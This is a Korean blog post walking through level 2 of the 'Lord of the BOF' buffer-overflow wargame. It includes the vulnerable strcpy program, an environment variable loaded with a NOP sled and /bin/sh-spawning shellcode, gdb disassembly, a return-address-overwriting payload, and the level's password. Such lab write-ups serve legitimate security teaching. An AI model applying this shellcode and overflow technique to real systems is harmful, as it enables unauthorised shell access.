티스토리 뷰


BOF 원정대 2단계 입니다.


1단계와 마찬가지로 bash 쉘이 아니 bash2 쉘에서 진행됩니다.


홈 디렉토리에 가면 cobolt.c 와 cobolt 실행 파일이 있습니다.



우선 cobolt.c 를 까보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/
 
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


1단계와 거의 비슷하지만 buffer의 크기가 256 byte 에서 16 byte로 팍 줄었습니다.


여기서는 buffer에 쉘 코드를 직접 박는 짓은 못하겠고


환경변수를 사용해서 BOF를 하도록 하겠습니다.


우선 export 명령어로 환경변수를 등록합니다.


export YoWu=`perl -e 'print "\x90"x512, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"';`


환경변수 앞에 nop 코드를 박는 이유는 여러가지가 있는데 

궁금하시면 검색해보시는 것도 괜찮을 것 같습니다.


우선 파일 이름에 따라 환경변수의 주소값이 미묘하게 변하는 이유도 있습니다.


nop 코드를 몇 개를 사용하느냐가 크게 중요한 것 같진 않지만 저는 습관상 512개를 넣었습니다.



env 명령어를 입력하면 환경변수가 등록되었나 확인할 수 있습니다.



변수의 내용은 확인할 수 없지만 YoWu 란 이름으로 환경변수가 등록 되었습니다.



환경변수 내부의 쉘 코드를 실행시키기 위해 환경변수의 메모리 주소값를 알아야합니다.


YoWu 환경변수의 주소값을 알아내기 위해 C로 간단한 프로그램을 짭니다.


1
2
3
4
5
6
#include<stdio.h>
 
void main()
{
    printf("YoWu address : %x\n", getenv("YoWu"));
}

이 프로그램을 gcc 로 컴파일해서 실행하면


이렇게 스택 메모리상 어디에 위치했는지 확인 할 수 있습니다.



다음으로 cobolt 파일의 메모리 위치를 계산하겠습니다.


gdb로 cobolt 실행 파일을 깝니다.


set disassembly-flavor intel 명령어 입력한후



disas main 명령어를 통해 어셈블리를 확인하면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave  
0x804847a <main+74>:    ret   


buffer에 값이 입력되는 strcpy 함수 근처에 buffer 의 ebp 상대주소값이 나와있습니다.


현재 buffer가 ebp-16 위치에 있으므로 

buffer에서 20 byte 만큼 덮어쓰면 ret에 접근할 수 있습니다.



아까 알아낸 환경변수의 주소 값을 이용해 다음과 같이 perl 구문을 짭니다.


~/cobolt `perl -e 'print "a"x20, "\x04\xfd\xff\xbf"';`


를 입력하면 쉘이 잘 뜨네요.



whoami 명령어를 통해 현재 계정이 cobolt 임을 확인할 수 있고


my-pass 명령어를 통해 cobolt 의 패스워드는 hacking exposed 임을 확인 할 수 있습니다.





저작자 표시 비영리 변경 금지
신고
프로필사진

Yowu (Yu Yongwoo)

My MBTI type is ENTP. (Of course I do not believe it 100%, but I want to do that) I use Node.js to develop the backend. I use Ubuntu Linux as my development environment, and I love Vim. I am interested in open source and are keen to contribute. I have a bachelor's degree in computer science from Catholic University and now a software engineer at Plating Inc., I spent about 5 years developing and learning, and I am still interested in software development and culture. Recently, I am interested in React, Serverless structure, Domain Design Driven. Sometimes I play drums in the band.